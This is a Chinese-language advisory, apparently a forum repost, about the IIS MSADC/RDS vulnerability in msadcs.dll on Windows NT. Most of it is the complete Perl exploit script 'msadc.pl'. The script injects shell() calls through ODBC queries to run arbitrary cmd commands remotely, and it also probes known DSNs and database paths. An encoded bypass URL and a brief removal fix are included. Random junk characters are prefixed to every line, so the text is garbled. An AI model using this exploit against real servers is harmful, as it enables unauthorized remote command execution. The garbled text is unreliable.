IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#&:nkzd eJ A{]^Zf 涉及程序：
SW Ga%6| Microsoft NT server
j`Gb I0,bT KN`z68c4L 描述：
Q+Fw =Xw 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
} 2.}fHb2 A-u5 详细：
]VH@\
f 如果你没有时间读详细内容的话，就删除:
Rp|&1nS c:\Program Files\Common Files\System\Msadc\msadcs.dll
U; xWW9 有关的安全问题就没有了。
@ice MD. ^0
lPv!2 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
4|L@oT zx @~XlI1g$i 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
( KMobIP^ 关于利用ODBC远程漏洞的描述，请参看:
I7_D $a= /
IS WC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm j)DZmGg&t wE \c?*k 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
C r%r<*s http://www.microsoft.com/security/bulletins/MS99-025faq.asp y~=h M
i+Dg w 这里不再论述。
@[RY8~ 614/wI8( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
'nS 3o. } 6V?RES;X /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
XOwMT,=Z) 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
*4:/<wI! xwxj j z{jA t6@7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
`4q}D-'TF8 kZ}u #!perl
<^_?hN8. #
@]tGfr;le& # MSADC/RDS 'usage' (aka exploit) script
15:@pq\ #
"6.p =te # by rain.forest.puppy
$I36> #
-c?wEqa~2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
+"cyO C # beta test and find errors!
~?5m5z O Ve1] ECk use Socket; use Getopt::Std;
')-(N
um getopts("e:vd:h:XR", \%args);
EM/+1
_u ]+dl=SmF print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
t
g*[%Jf^ \>`$x: if (!defined $args{h} && !defined $args{R}) {
K-C,+ eI print qq~
g0OS<,: Usage: msadc.pl -h <host> { -d <delay> -X -v }
,b(S=r -h <host> = host you want to scan (ip or domain)
,O)\,t g -d <seconds> = delay between calls, default 1 second
ZcRm5Du~: -X = dump Index Server path table, if available
;_a oM& -v = verbose
1@S6[&_ -e = external dictionary file for step 5
RT"2Us]* vaOL6=[#:g Or a -R will resume a command session
d)ZSzq 5(7MQuRR ~; exit;}
%d J>8.jW@ R<- C>D $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
15 11<, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'aP*++^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}2A1Yt:^P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`>EvT7u $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5 hadA>d if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Hk*cO;c O9X:1>a@i if (!defined $args{R}){ $ret = &has_msadc;
D>e\OfTR: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C'2 =0oou Pq>[q?>? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I 47GQho . "cmd /c ";
g
Pj0H&,. $in=<STDIN>; chomp $in;
hr6 e 1Er $command="cmd /c " . $in ;
s7i.p] cgXF|'yI&l if (defined $args{R}) {&load; exit;}
cloSJmUlQ e @-Mlq) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{/xs9.8:JX &try_btcustmr;
;6txTcn`= ^ [[ b$ h$ print "\nStep 2: Trying to make our own DSN...";
%N>NOk) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
},aWCvJL ~o'#AP#N~ print "\nStep 3: Trying known DSNs...";
9Pp|d"6]y &known_dsn;
M6*{#Y? X7d. Ie print "\nStep 4: Trying known .mdbs...";
fP1OH &Ar &known_mdb;
s8d}H I ?EQ^n3U$ if (defined $args{e}){
3e6Y print "\nStep 5: Trying dictionary of DSN names...";
z12But\< &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
X5| /s::u wy-
C~b'Qd print "Sorry Charley...maybe next time?\n";
qZsddll exit;
~)a ;59<$ G0
/vn9 & ##############################################################################
~P#zhHw ou^nzm sub sendraw { # ripped and modded from whisker
,Zf!KQw sleep($delay); # it's a DoS on the server! At least on mine...
i;hc]fYb=K my ($pstr)=@_;
niHL/\7u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jJ"EGFa8 die("Socket problems\n");
T|s0qQi if(connect(S,pack "SnA4x8",2,80,$target)){
71" JL", select(S); $|=1;
zMYd| 2bc print $pstr; my @in=<S>;
53t- 'K0l select(STDOUT); close(S);
8 Cs$NUU return @in;
[&q bc#L } else { die("Can't connect...\n"); }}
a950M7 iQ {&&>V% ##############################################################################
*Z]WaDw /4
LR0`A' sub make_header { # make the HTTP request
4 2>m,fb2[ my $msadc=<<EOT
iqednk% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^_KD& %M6 User-Agent: ACTIVEDATA
bxdXZB n Host: $ip
%FyygT b;S Content-Length: $clen
!ObE{2Enf Connection: Keep-Alive
_7#tgZyv I>%S4Z+o ADCClientVersion:01.06
s9rtXBJP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d[]p_oIQq n1>,#|# --!ADM!ROX!YOUR!WORLD!
\FoxKOTp Content-Type: application/x-varg
,#bb8+z&p Content-Length: $reqlen
1.0!H.>q } S
vw,c EOT
.y7) XLC ; $msadc=~s/\n/\r\n/g;
Dq zA U7 return $msadc;}
.? 0>5-SfY q|u8CX ##############################################################################
/ " Yx@n T A0D{ sub make_req { # make the RDS request
x 1BOW my ($switch, $p1, $p2)=@_;
GX@W"y my $req=""; my $t1, $t2, $query, $dsn;
N8XC~D h{ J,1osG<6x if ($switch==1){ # this is the btcustmr.mdb query
}, fo+vRM $query="Select * from Customers where City=" . make_shell();
R@<_Hb;Aeb $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
0/:=wn^pg $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
uPFHlT II-$ WJy elsif ($switch==2){ # this is general make table query
zd9] qo $query="create table AZZ (B int, C varchar(10))";
inB PT~y $dsn="$p1";}
&=-e`=qJ'6 ]`@]< 6 elsif ($switch==3){ # this is general exploit table query
t{X?PF\>o $query="select * from AZZ where C=" . make_shell();
.'S^&M/$ $dsn="$p1";}
Aa`MK$29F ^'7C0ps+A elsif ($switch==4){ # attempt to hork file info from index server
\+{t4Im $query="select path from scope()";
+qdIj] v $dsn="Provider=MSIDXS;";}
N2tkCkl^x9 Y%/ YFO2vb elsif ($switch==5){ # bad query
3u4*ofjE5 $query="select";
~y)bYG!G $dsn="$p1";}
{M@@)27gW 9si}WqAw $t1= make_unicode($query);
^RV $t2= make_unicode($dsn);
#H;hRl $req = "\x02\x00\x03\x00";
W{A
#]r l $req.= "\x08\x00" . pack ("S1", length($t1));
}(ma__Ao $req.= "\x00\x00" . $t1 ;
0 F+ zG)G" $req.= "\x08\x00" . pack ("S1", length($t2));
W`N} $req.= "\x00\x00" . $t2 ;
>:jM}*dnL $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-MrtliepW* return $req;}
skI(]BDf $7 UoL,N> ##############################################################################
/bmXDDYH4 -SvTg{Q{la sub make_shell { # this makes the shell() statement
Q54r?|'V return "'|shell(\"$command\")|'";}
^`rpf\GX( d@4rD}_Z ##############################################################################
dd<:#c9 +5HnZ?E\ sub make_unicode { # quick little function to convert to unicode
V#NG+U.B my ($in)=@_; my $out;
~!Zm F(: for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
T A\4uy6o return $out;}
ou'~{-_xd ^ qeY9O ##############################################################################
(T|TEt j2 } sub rdo_success { # checks for RDO return success (this is kludge)
c~^CKgr~R9 my (@in) = @_; my $base=content_start(@in);
H|;*_ if($in[$base]=~/multipart\/mixed/){
|DE%SVZB return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!/ j,hO4Z4 return 0;}
w;
4jx(
.hX0c"f]b ##############################################################################
6 Wpxp\ 3`A>j" sub make_dsn { # this makes a DSN for us
\.H9$C$ my @drives=("c","d","e","f");
g@~!kh,TH print "\nMaking DSN: ";
](W5.a,-$L foreach $drive (@drives) {
|5xYT 'V print "$drive: ";
e Om< !H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
<nWKR , "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
, 3X: ) . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N] 1 4 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ZfPd0 p return 0 if $2 eq "404"; # not found/doesn't exist
jt{9e:2% if($2 eq "200") {
oW 1"%i% foreach $line (@results) {
~x|aoozL return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Q2/MnM } return 0;}
L[?nST18% Kt
W6AZJ ##############################################################################
"z^ (dF| q,B3ru.?d sub verify_exists {
e~{^oM my ($page)=@_;
FR
x6c my @results=sendraw("GET $page HTTP/1.0\n\n");
E *F*nd]K return $results[0];}
w6T[h Z 9 &{%MjK J._ ##############################################################################
v6s\Z\v)Q` :qKF58W sub try_btcustmr {
D ]OD. my @drives=("c","d","e","f");
hv* >%p my @dirs=("winnt","winnt35","winnt351","win","windows");
g(aZT#i i= QsiJ%O Q foreach $dir (@dirs) {
Q}kfM^i print "$dir -> "; # fun status so you can see progress
^0^(
u foreach $drive (@drives) {
,;_rIO " print "$drive: "; # ditto
egm)a
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
X rF3kz!44 $reqlenlen=length( "$reqlen" );
A1^Ga5 B> $clen= 206 + $reqlenlen + $reqlen;
1O
|V=K |G(1[RNu my @results=sendraw(make_header() . make_req(1,$drive,$dir));
8-7dokg> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
zv //K_ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
qM %O "EoDQT"0 ##############################################################################
3VmI0gsm.> dY} p N" sub odbc_error {
|6E
.M1 my (@in)=@_; my $base;
%*lp< D my $base = content_start(@in);
)QmGsU }? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
h#i\iK&A $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>':5?\C+- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b1u}fp
GF $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g \Wj+el} return $in[$base+4].$in[$base+5].$in[$base+6];}
9UwLF`XM print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
8j%'9vPi print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Sw)i1S9 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ncv7t|ZN Bv $UFTz ##############################################################################
;7Y[c}V1^ jM~Bu.7 i6 sub verbose {
TyF{tuF my ($in)=@_;
nnNv0 ?>d( return if !$verbose;
V!4a*,Pz print STDOUT "\n$in\n";}
l&Z
Sm f/} ##############################################################################
@F>F#-2 845
W>B sub save {
?i~g,P]NK my ($p1, $p2, $p3, $p4)=@_;
Cq>6rn open(OUT, ">rds.save") || print "Problem saving parameters...\n";
< f(?T` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
z{:-!oF&CB close OUT;}
1dF a@<5 V<8 K@/n@ ##############################################################################
62[8xn=(%
3H Z~. sub load {
J~KX|QY.S my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jd 1jG2=f open(IN,"<rds.save") || die("Couldn't open rds.save\n");
%j7:tf= @p=<IN>; close(IN);
O:Va&Cyj* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
I"@p aLZ $target= inet_aton($ip) || die("inet_aton problems");
q$[n`w- print "Resuming to $ip ...";
ebC)H $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
KOey8tB)1 if($p[1]==1) {
ju|]Qlek $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
6;o3sf@Tf $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%_MEfuL my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!K cWH9 if (rdo_success(@results)){print "Success!\n";}
whye)w else { print "failed\n"; verbose(odbc_error(@results));}}
R(k}y,eh.` elsif ($p[1]==3){
P7:d ly[,q if(run_query("$p[3]")){
=E(#YCx print "Success!\n";} else { print "failed\n"; }}
Z) Wnow elsif ($p[1]==4){
0,_b) if(run_query($drvst . "$p[3]")){
h}Rx_d print "Success!\n"; } else { print "failed\n"; }}
i?>tgmu. exit;}
)I`if(fG rn8cdM N ##############################################################################
xzsd G?P IA4N@ijRxh sub create_table {
/c` ^iPb my ($in)=@_;
1l5J P|x $reqlen=length( make_req(2,$in,"") ) - 28;
d "E^SBO& $reqlenlen=length( "$reqlen" );
s"% lFA"- $clen= 206 + $reqlenlen + $reqlen;
4 zjs!AK% my @results=sendraw(make_header() . make_req(2,$in,""));
ba3*]01Yb return 1 if rdo_success(@results);
L Y 0] l$ my $temp= odbc_error(@results); verbose($temp);
Y9Z]i$qS&k return 1 if $temp=~/Table 'AZZ' already exists/;
mM_
k ^4: return 0;}
qnChM ; ) `zA#z /> ##############################################################################
1vnYogL ,
sjh^-; sub known_dsn {
thc <xxRP # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
OcmRZ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
* 27*>W1 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
}rq9I"/L "banner", "banners", "ads", "ADCDemo", "ADCTest");
=wVJ% &xXEnV foreach $dSn (@dsns) {
tF7hFL5f print ".";
tGjhHp8}c next if (!is_access("DSN=$dSn"));
NBYH;h P if(create_table("DSN=$dSn")){
x|i_P|Z print "$dSn successful\n";
k7@t{Cu0D& if(run_query("DSN=$dSn")){
D`[Khs f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
d$t40+v print "Something's borked. Use verbose next time\n";}}} print "\n";}
DY\J[l<< (UL4+ta ##############################################################################
(W[V? !1 DF _X sub is_access {
t$J.+} }I my ($in)=@_;
3B0PGvCI1 $reqlen=length( make_req(5,$in,"") ) - 28;
cA)[XpQ:+W $reqlenlen=length( "$reqlen" );
=>iA gp'# $clen= 206 + $reqlenlen + $reqlen;
W/fuKGZi_ my @results=sendraw(make_header() . make_req(5,$in,""));
jQ\zG J3 my $temp= odbc_error(@results);
UAn&\ 8g_ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
AY,].Zg[ return 0;}
cl@g k^\pU\J ##############################################################################
5] 5 KB; =Yz'D|=t sub run_query {
q{0R=jb my ($in)=@_;
:| +Qe e $reqlen=length( make_req(3,$in,"") ) - 28;
?QZ"JX]) $reqlenlen=length( "$reqlen" );
E&`Nh5 JfC $clen= 206 + $reqlenlen + $reqlen;
1oiRW Re my @results=sendraw(make_header() . make_req(3,$in,""));
JH8}Ru%Z return 1 if rdo_success(@results);
l{Dct\ #s my $temp= odbc_error(@results); verbose($temp);
jYRP8 Yi return 0;}
:9|\Z|S(I I%j_"r9-I ##############################################################################
PPkx4S_> -
e"jw#B sub known_mdb {
.,0b E my @drives=("c","d","e","f","g");
=WIJ>#Go < my @dirs=("winnt","winnt35","winnt351","win","windows");
*`_{ my $dir, $drive, $mdb;
r [ : my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
n/~ A`%E@ CVNj- &vj # this is sparse, because I don't know of many
bi[IqU!9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
! -<p,z "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_ :Ag?2 "\\system32\\certmdb.mdb",
4_A0rveP "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>J9oH=S6 }%7 NF* my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
vS\Nd1~ ? "\\cfusion\\cfapps\\forums\\forums_.mdb",
SAY LG "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
+{<#(} "\\cfusion\\cfapps\\security\\realm_.mdb",
^ D%FX!$ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ziP R>iz- "\\cfusion\\database\\cfexamples.mdb",
",6M)3{|c "\\cfusion\\database\\cfsnippets.mdb",
km~Ll "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
br -]fE.be "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
2i;7{7 "\\cfusion\\brighttiger\\database\\cleam.mdb",
:cB=SYcC% "\\cfusion\\database\\smpolicy.mdb",
oVFnl A "\\cfusion\\database\cypress.mdb",
Xpe)PXb "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%D$]V SP; "\\website\\cgi-win\\dbsample.mdb",
[AMAa]^ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
I$q]. B "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
vM:cWat ); #these are just
a=cvCf foreach $drive (@drives) {
`F<jLU^3 foreach $dir (@dirs){
KlRr8 G!Z foreach $mdb (@sysmdbs) {
h/?l4iR* print ".";
;X*cCb`h if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
) e5 @ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
wLK07e( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(e(:P~Ry print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<-D/O$q } else { print "Something's borked. Use verbose next time\n"; }}}}}
^8.]d~j YIw1 foreach $drive (@drives) {
~ab:/!Z foreach $mdb (@mdbs) {
T,aW8| print ".";
$9Hcdbdm if(create_table($drv . $drive . $dir . $mdb)){
Po%LE]v, print "\n" . $drive . $dir . $mdb . " successful\n";
[sB 9gY( if(run_query($drv . $drive . $dir . $mdb)){
F*"}aP$ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
&f-Uyr7? } else { print "Something's borked. Use verbose next time\n"; }}}}
S<'[%ihx }
F~ h7{@\ y=?)n\ f ##############################################################################
a ~'a (=7Cs sub hork_idx {
9$2/MT't print "\nAttempting to dump Index Server tables...\n";
0 a80 LAK print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
th;{V%:LW $reqlen=length( make_req(4,"","") ) - 28;
&=VDASEu $reqlenlen=length( "$reqlen" );
^R:cd8+?% $clen= 206 + $reqlenlen + $reqlen;
"[y-+)WTG my @results=sendraw2(make_header() . make_req(4,"",""));
g+J-Zg6 if (rdo_success(@results)){
(sh)TBb5 my $max=@results; my $c; my %d;
?@E!u|]K for($c=19; $c<$max; $c++){
E? _Z`*h $results[$c]=~s/\x00//g;
PLK3v4kVM! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
dqN5]Sb2B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]]zPq<b2 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z^T`x_mF $d{"$1$2"}="";}
Q ]} Hd- foreach $c (keys %d){ print "$c\n"; }
Lhqz \ o } else {print "Index server doesn't seem to be installed.\n"; }}
)wT-8o :j + ZI3@ ##############################################################################
@`gk|W3 r-:Uz\gM sub dsn_dict {
iof-7{+3_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
q
FAT]{{ while(<IN>){
N; \' N
ne $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Av fNwE next if (!is_access("DSN=$dSn"));
y&V@^ "` if(create_table("DSN=$dSn")){
=weSyZ1~ print "$dSn successful\n";
-3Hy*1A. if(run_query("DSN=$dSn")){
ouuuc9x] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2nR[Xh?L print "Something's borked. Use verbose next time\n";}}}
:Of^xj>A print "\n"; close(IN);}
YJ\Xj56g v /Njd[= B ##############################################################################
g*_cP U0~m VIv&ofyAR sub sendraw2 { # ripped and modded from whisker
<ZNzVnVA sleep($delay); # it's a DoS on the server! At least on mine...
RS8Hf ~0G my ($pstr)=@_;
\SB c; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>k (C die("Socket problems\n");
N<XNTf if(connect(S,pack "SnA4x8",2,80,$target)){
E"5*Ei)^3 print "Connected. Getting data";
MRdduPrM%$ open(OUT,">raw.out"); my @in;
,%M$0poKM select(S); $|=1; print $pstr;
NfjE` while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
K~R`%r_ close(OUT); select(STDOUT); close(S); return @in;
S[J}UpV } else { die("Can't connect...\n"); }}
_no*k?o * ?vbvBu{a ##############################################################################
Z'.AA OG ;IZwTXu !S sub content_start { # this will take in the server headers
c}2jmwq
my (@in)=@_; my $c;
eQ]~dA8> for ($c=1;$c<500;$c++) {
`~By)?cT_> if($in[$c] =~/^\x0d\x0a/){
/w}u3|L$ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
t:'Mh9h7u else { return $c+1; }}}
wY[+Z T return -1;} # it should never get here actually
NU5.o$
OG>}M$ Ora ##############################################################################
]SLP}Jwy toBHkiuD sub funky {
&7K?w~ my (@in)=@_; my $error=odbc_error(@in);
cWe"% I if($error=~/ADO could not find the specified provider/){
KV0]m ^@x print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-#N.X _F exit;}
8~@c)Z; if($error=~/A Handler is required/){
Yp^rR }N print "\nServer has custom handler filters (they most likely are patched)\n";
+[\FD; > exit;}
a6) BqlJ if($error=~/specified Handler has denied Access/){
GkQpELO: print "\nServer has custom handler filters (they most likely are patched)\n";
?i Wi exit;}}
w=T\3(%j P*3BB>FO ##############################################################################
`xqr{ lhL >JFO@O5 sub has_msadc {
#."-#"0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
CTq&-l:f my $base=content_start(@results);
Nh_Mz;ITuu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
B#Vz#y return 0;}
r{L>
F]Tw 4R1<nZ"e ~ ########################
vunHNHltW0 jt W!"TOY Z8K? 解决方案：
8
Hg+H= ? 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2fn&#kw/ 2、移除web 目录: /msadc
